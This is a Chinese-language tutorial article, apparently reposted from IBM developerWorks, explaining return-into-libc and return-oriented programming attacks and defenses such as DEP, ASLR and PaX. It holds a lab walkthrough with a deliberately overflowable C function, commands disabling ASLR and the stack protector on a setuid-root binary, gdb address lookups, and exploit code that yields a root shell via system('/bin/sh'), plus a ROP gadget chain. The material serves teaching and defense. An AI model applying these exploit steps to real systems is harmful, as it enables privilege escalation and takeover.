Return-into-libc 攻擊及其防禦

前言

緩衝區溢出攻擊是最常見的利用程序缺陷的攻擊方法,併成爲了當前重要的安全威脅之一。

在各種安全報告中,緩衝區溢出漏洞始終是其中很重要的一部分。緩衝區溢出攻擊很容易被攻擊者利用,因爲 C 和 C++等語言並沒有自動檢測緩衝區溢出操作,同時程序編寫人員在編寫代碼時也很難始終檢查緩衝區是否可能溢出。利用溢出,攻擊者可以將期望數據寫入漏洞程序內存中的任意位置,甚至包括控制程序執行流的關鍵數據(比如函數調用後的返回地址),從而控制程序的執行過程並實施惡意行爲。

緩衝區溢出的常用攻擊方法是將惡意代碼 shellcode 注入到程序中,並用其地址來覆蓋程序本身函數調用的返回地址,使得返回時執行此惡意代碼而不是原本應該執行的代碼。也就是說,這種攻擊在實施時通常首先要將惡意代碼注入目標漏洞程序中。但是,程序的代碼段通常設置爲不可寫,因此攻擊者需要將此攻擊代碼置於堆棧中。於是爲了阻止此種類型的攻擊,緩衝區溢出防禦機制採用了非執行堆棧技術,這種技術使得堆棧上的惡意代碼不可執行。而爲了避開這種防禦機制,緩衝區溢出又出現了新的變體 return-into-libc 攻擊。return-into-libc 的攻擊者並不需要棧可以執行,甚至不需要注入新的代碼,就可以實現攻擊。因此,如果希望編寫的程序可以安全運行,就需要知道什麼是 Return-into-libc 攻擊,它的攻擊原理以及可能的防禦方式和手段。


數據執行保護策略與 return-into-libc 攻擊

如前言所述,在緩衝區溢出攻擊中攻擊者需要將漏洞程序的控制流轉移到攻擊的代碼。例如,攻擊者可以通過溢出漏洞程序的緩衝區篡改函數的返回地址以使其指向已放置的惡意代碼 shellcode,這樣在函數返回時就會跳轉到相應的惡意代碼來執行。 也就是說,這種攻擊方式需要首先將惡意代碼注入(寫入)目標程序中,並且在以後跳轉到並執行此段代碼。

針對上述這種攻擊行爲方式(先寫後執行),研究者提出了數據執行保護策略(DEP)來幫助抵抗緩衝區溢出攻擊。安全策略可以控制程序對內存的訪問方式,即被保護的程序內存可以被約束爲只能被寫或被執行(W XOR X),而不能先寫後執行。目前,這種安全策略已經在系統已經得到廣泛的應用 。前言中所述的不可執行堆棧就是該策略的一個特例,即堆棧可寫但不可執行。數據執行保護策略雖然對程序運行時的內存訪問提供了安全保護,保證內存只能被寫或者被執行而不能先寫後執行。但是不幸的是,這種保護方式並不是完全有效的,其仍然不能抵禦不違反 W XOR X 保護策略的攻擊方式。

Return-into-libc 攻擊方式就不具有同時寫和執行的行爲模式,因爲其不需要注入新的惡意代碼,取而代之的是重用漏洞程序中已有的函數完成攻擊,讓漏洞程序跳轉到已有的代碼序列(比如庫函數的代碼序列)。攻擊者在實施攻擊時仍然可以用惡意代碼的地址(比如 libc 庫中的 system()函數等)來覆蓋程序函數調用的返回地址,並傳遞重新設定好的參數使其能夠按攻擊者的期望運行。這就是爲什麼攻擊者會採用 return-into-libc 的方式,並使用程序提供的庫函數。這種攻擊方式在實現攻擊的同時,也避開了數據執行保護策略中對攻擊代碼的注入和執行進行的防護。


Return-into-libc 攻擊原理

Return-into-libc 攻擊可以將漏洞函數返回到內存空間已有的動態庫函數中。而爲了理解 return-into-libc 攻擊,這裏首先給出程序函數調用過程中棧幀的結構。

圖 1.函數調用時棧幀的結構
函數調用時棧幀的結構

圖 1 給出了一個典型的函數調用時的棧幀結構,該棧從高位地址向低位地址增長。每當一個函數調用另一個函數向低地址方向壓棧,而當函數返回時向高地址方向清棧。例如,當 main() 調用 func(arg_1,arg_2,arg_3) 時,首先將所有參數arg_1,arg_2 和 arg_3入棧。圖 1 中參數從右向左依次被壓入棧中,這是因爲 C 語言中函數傳參是從右向左壓棧的。然後,call 指令會將返回地址壓棧,並使執行流轉到 func()。返回地址是 call 指令的下一條指令的地址,這個用於告知 func ()函數返回後從 main()函數的哪條指令開始執行。進入 func 函數後,通常需要將 main()函數的棧底指針 ebp 保存到棧中並將當前的棧頂指針 esp 保存在 ebp 中作爲 func 的棧底。接下來,func 函數會在棧中爲局部變量等分配空間。因此,調用函數 func()時的棧幀結構如圖 1 所示。

而當 func()執行完成返回時 leave 指令將 ebp 拷貝到 esp 中清空局部變量在棧中的區域,然後從堆棧中彈出老 ebp 放回 ebp 寄存器使 ebp 恢復爲 main()函數的棧底。然後 ret 指令從棧中獲取返回地址,返回到 main()函數中繼續執行。

攻擊者可以利用棧中的內容實施 return-into-libc 攻擊。這是因爲攻擊者能夠通過緩衝區溢出改寫返回地址爲一個庫函數的地址,並且將此庫函數執行時的參數也重新寫入棧中。這樣當函數調用時獲取的是攻擊者設定好的參數值,並且結束後返回時就會返回到庫函數而不是 main()。而此庫函數實際上就幫助攻擊者執行了其惡意行爲。更復雜的攻擊還可以通過 return-into-libc 的調用鏈(一系列庫函數的連續調用)來完成。


Return-into-libc 攻擊實驗

x86 平臺攻擊實驗

作者在 Ubuntu x86 系統中進行了 return-into-libc 攻擊實驗。實驗通過使漏洞程序跳轉到 libc 庫函數的 system()函數並執行 system("/bin/sh")來實現的攻擊。實驗主要涉及一個漏洞程序和一個攻擊程序。攻擊時,攻擊程序首先將溢出緩衝區的內容寫入文件中,而漏洞程序則將此文件內容讀入緩衝區造成其溢出。更進一步的攻擊可以參見參考資源中的“return-to-libc 攻擊實驗”。

清單 1.漏洞程序核心內容
int bof(FILE *badfile)

{
   ......  
    char buffer[12];            

    fread(buffer, sizeof(char), 50, badfile);

    ......
}

清單 1 是目標漏洞程序,緩衝區 buffer 在讀入文件 badfile 時被溢出。攻擊時,需要在 bof 的返回地址即 buf[24-27]這四個字節存入 system()函數的入口地址,接着在buf[28-31]的這四個字節放置exit函數的入口地址作爲返回地址,最後在buf[32-35]這四個字節放置 system 的參數"/bin/sh"的地址。如果溢出成功,則當 bof 返回時會跳轉到 system()函數並最終調用 exit 函數。

爲此,需要獲得system()exit()函數的入口地址,同時還需要獲得system的參數"/bin/sh"的地址。

第一步:編譯漏洞程序
sudo sysctl -w kernel.randomize_va_space=0
gcc -g -fno-stack-protector -o retlibc retlibc.c
sudo chown root:root retlibc
sudo chmod 4755 retlibc

第二步:"/bin/sh"放置在環境變量BIN_SH中,並通過 getenv()函數獲得其大致地址 0xbffffe1c。但實際字符串 "/bin/sh" 的地址還需要進一步確認。

$gdb retlibc
......
(gdb)p/x *0xbffffe1c@4
$1={0x5f4e4942,0x2f3d4853,0x2f6e6962,0x48006873}
(gdb)p/x *0xbffffe23@4
$2={0x6e69622f,0x68732f,0x454d4f48,0x6f682f3d}
(gdb)x/8ub 0xbffffe23
0xbffffe23: 47 98 105 110 47 115 104 0
(gdb)

最後一條命令打印出來的實際上字符串“/bin/sh”的 ASCII 編碼,因此可以推斷“/bin/sh” 字符串在 0xbffffe23附近。在實際攻擊中通過實驗可以發現字符串實際位於地址 0xbffffe24

第三步:用 GDB 獲取 system()和 exit()的入口地址。

$gdb retlibc
......
(gdb) p system
$1={<text variable, no debug info> 0x168680 <system>
(gdb)p exit
$2={<text variable, no debug info> 0x15e6e0 <exit>
(gdb)

第四步:在獲得了三個地址後就可以得到清單2 中的攻擊程序,並實施攻擊。

清單 2.攻擊程序核心內容
int main(int argc, char **argv)

{   ......    
      

     *(long *) &buf[24] = 0x168680 ; // system()

     *(long *) &buf[28] = 0x15e6e0 ; // exit()

     *(long *) &buf[32] = 0xbffffe24; // "/bin/sh"

     fwrite(buf, sizeof(buf), 1, badfile);
    ......  
}

實施攻擊

$./retlibc
#exit
$

攻擊實驗說明 return-into-libc 攻擊可以在 x86 平臺中成功實施,執行了system(“/bin/sh”)獲得了root權限,那麼在 x86_64 平臺中呢?

x86_64 平臺攻擊實驗

在 x86_64 平臺的實驗採用了與 x86 平臺類似的方式。我們爲假 system()函數構造了一個假的棧幀內容,並讓其執行特定的命令“/bin/sh”,但攻擊並沒有成功。這是因爲在 x86_64 的 CPU 平臺中程序執行時參數不是通過棧傳遞的而是通過寄存器,而 return-into-libc 需要將參數通過棧來傳遞。因此 system()函數始終不能獲得正確的參數。爲了驗證這一點,我們通過 gdb 跟蹤進入 system()後的過程。

$gdb retlibc
......
(gdb)p/x $rdi
$1=0x7fffffffe012
(gdb)set $rdi=0x7fffffffeddf
(gdb)c
continuing.
$pwd
/home/fmliu/paper
$

system()函數通過 rdi 寄存器獲得參數“/bin/sh”的地址,因此在 gdb 中我們重新設定 rdi 寄存器的值爲字符串地址後,攻擊就可以實施了。因此,說明攻擊確實是僅僅因爲參數通過寄存器而非棧傳遞而導致了失敗。雖然傳統 return-into-libc 的方式未能成功,對於 x86_64 平臺仍然可以進一步通過下一節中討論的返回導向編程來實施.。


返回導向編程

前面實驗中的 Return-into-libc 攻擊用庫函數的地址來覆蓋程序函數調用的返回地址,這樣在程序返回時就可以調用庫函數從而使攻擊得以成功實施。但是由於攻擊者可用的指令序列只能爲應用程序中已存在的函數,所以這種攻擊方式的攻擊能力有限。此外,如上一節中的討論,攻擊只能在 x86 的 CPU 平臺中實施而對 x86_64 的 CPU 平臺中無效。這是因爲在我們實驗的 x86_64CPU 平臺中程序執行時參數不是通過棧傳遞的而是通過寄存器,而 return-into-libc 需要將參數通過棧來傳遞。如果 system()的參數需要通過寄存器傳遞%rdi 那麼攻擊就會失敗,攻擊者也不能控制攻擊時的控制流。

由於這種 return-into-libc 攻擊方式的侷限性,返回導向編程(Return-Oriented Programming, ROP)被提出,併成爲一種有效的 return-into-libc 攻擊手段。返回導向編程攻擊的方式不再侷限於將漏洞程序的控制流跳轉到庫函數中,而是可以利用程序和庫函數中識別並選取的一組指令序列。攻擊者將這些指令序列串連起來,形成攻擊所需要的 shellcode 來從事後續的攻擊行爲。因此這種方式仍然不需要注入新的指令到漏洞程序就可以完成任意的操作。同時,它不利用完整的庫函數,因此也不依賴於函數調用時通過堆棧傳遞參數。

返回導向編程攻擊時,攻擊者首先需要選取構建 shellcode 的指令,指令可以來自於應用程序二進制代碼也可以來自於鏈接庫。這些指令串連起來就可以形成整個 shellcode 的功能。最簡單來講,選取的每個連續指令序列都以“return”指令結束,這樣如果攻擊者在棧中放入後一個以“return”指令結束的指令序列的首指令地址,則在前一個”return”指令執行並返回時會 pop 棧中的後一個指令序列的首指令地址,並從前一個指令序列跳轉到下一個指令序列執行。以此類推,就可以串連形成一個 ROP 鏈完成整個攻擊。

例如,在 x86_64 平臺的攻擊中,在向 system()函數傳遞參數時需要將%rdi 設定爲特定的值,並”call”system 函數。這個功能可以通過構建 ROP 鏈來實現。“x86_64 buffer overflow exploits and the borrowed code chunks exploitation technique”中給出了一個實例, 如圖 2。

圖 2.ROP 鏈及棧內容構建
ROP 鏈及棧內容構建
清單 3.ROP 實例執行的指令序列
pop %rbx
retq
mov %rbx,%rax
add $0xe0,%rsp
pop %rbx
retq
move %rsp,%rdi
callq *%eax

1.第 1 句彙編指令將 system()函數的地址放入 rbx 寄存器。然後返回執行第 3 句彙編指令。

2.第 3-6 句彙編指令將 rbx 寄存器內容傳入 rax,即用 rax 保存 system()函數的地址。

3.最後兩句彙編指令設定寄存器 rdi 的值,並調用 eax 指向的 system()函數。

從上面的例子可以看出,ROP 攻擊代碼的指令流在形式上具有一定的特徵,即 ROP 代碼中包含有大量的“return”指令。 同時,每一小段指令序列通常都比較短小,一般只包含兩到三個彙編語句,它們僅僅完成整個 shellcode 的一部分工作。這些指令通過“return”指令串連起來,實現最終 shellcode 的執行。其與傳統 return-into-libc 攻擊不同,在傳統攻擊中每個指令序列實際上是整個函數,而不是 ROP 攻擊中的幾條彙編指令。因此 ROP 攻擊在一個更低的抽象層來進行攻擊,更加靈活。構建 ROP 鏈有很多的技巧,具體可以參見參考資源中關於返回導向編程的論文內容。


防禦機制

對普通緩衝區溢出攻擊的防禦,一方面需要程序員使用能夠防止緩衝區溢出的函數,警惕攻擊的發生。另一方面,這種防禦可以由系統提供。比如數據執行保護機制(DEP),該機制可以保護程序的內存使其不能同時被寫和被執行,從而防止了代碼注入式的緩衝區溢出攻擊。但是,這些機制仍然不能有效抵禦 return-into-libc 和返回導向編程這種重用已有代碼的攻擊,因此還需要進一步的解決方案。

目前對於 return-into-libc 和返回導向編程攻擊,地址空間佈局隨機化(Address Space Layout Randomization,ASLR)機制是最爲有效的防禦機制之一。ASLR 可以實現對進程的堆、 棧、代碼和共享庫等的地址在程序每次運行的時候的隨機化, 大大增加了定位到需要利用的代碼的正確位置的難度,因此也就大大增加了 return-into-libc 和返回導向編程攻擊的難度以及對攻擊的防禦能力。由於程序運行時的地址被隨機化,在攻擊時攻擊者無法直接定位到所需利用的隨機化後的內存地址,而只能依賴於對這些數據、代碼運行時的實際地址的猜測。因此攻擊者猜對的可能性比較低,很難成功發起攻擊。同時,也容易導致程序運行時崩潰,因而減小了檢測到攻擊的難度。

PaX

Pax 是一個內核補丁,最開始其主要特徵是不允許任何數據段可執行,但這對於 return-into-libc 和返回導向編程攻擊這種防護是不夠的。因此,爲了防禦此類攻擊,PaX 增加了對代碼和數據的內存地址進行隨機化的功能。目前這些功能已經在 Linux 系統中得到了廣泛應用。如果在配置內核過程中設置了 CONFIG_PAX_RANDMMAP 選項,庫函數、堆棧和程序基址等都可以被映射到內存中的一個隨機地址。PaX 對程序運行時進程的地址空間進行了隨機化,其不用對程序本身進行改動,增強了對這種重用已有合法代碼攻擊方式的防禦。但這種方式的不足在於,PaX 技術不能對程序內部的代碼或數據在內存中的順序等進行變化,增加攻擊難度。

地址混淆

地址混淆(Address Randomization) 方法不僅可以隨機化棧、堆、動態庫、函數和靜態數據等的內存基址,還可以實現程序數據相對地址的隨機化(包括變量或函數的順序的變化等)。它較 PaX 技術的優勢在於不僅可以抵禦 PaX 中利用基地址的猜測的攻擊,還可以抵禦利用相對地址猜測的攻擊。這種技術的提出者 Bhatkar 等後來又在此基礎上提出了使用源代碼轉換的方法隨機化 C 程序。在程序每次裝載和運行時,進程的虛擬內存空間都會被隨機化一次。


結束語

與普通緩衝區溢出攻擊相比,return-into-libc 攻擊的防禦難度更大。它可以避開數據執行保護策略,成爲一種更有效、危險性更高的緩衝區溢出攻擊。爲此,讀者需要理解 return-into-libc 攻擊的攻擊原理以及如何在系統中防止攻擊的發生。目前對於 return-into-libc 攻擊,地址空間佈局隨機化 ASLR 機制是最爲有效的防禦機制之一,它包括內核補丁 PaX 和地址混淆等技術。ASLR 可以對進程的堆、 棧、代碼和共享庫等的地址在程序每次運行的時候均隨機化一次,增加了攻擊者成功發起攻擊的難度,同時更容易導致攻擊時程序運行的崩潰,使得檢測機制也更容易檢測到此種攻擊。本文給出的這些防禦機制可以幫助讀者保護程序並使其避開 return-into-libc 攻擊帶來的安全問題。

原文網址:http://www.ibm.com/developerworks/cn/linux/1402_liumei_rilattack/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章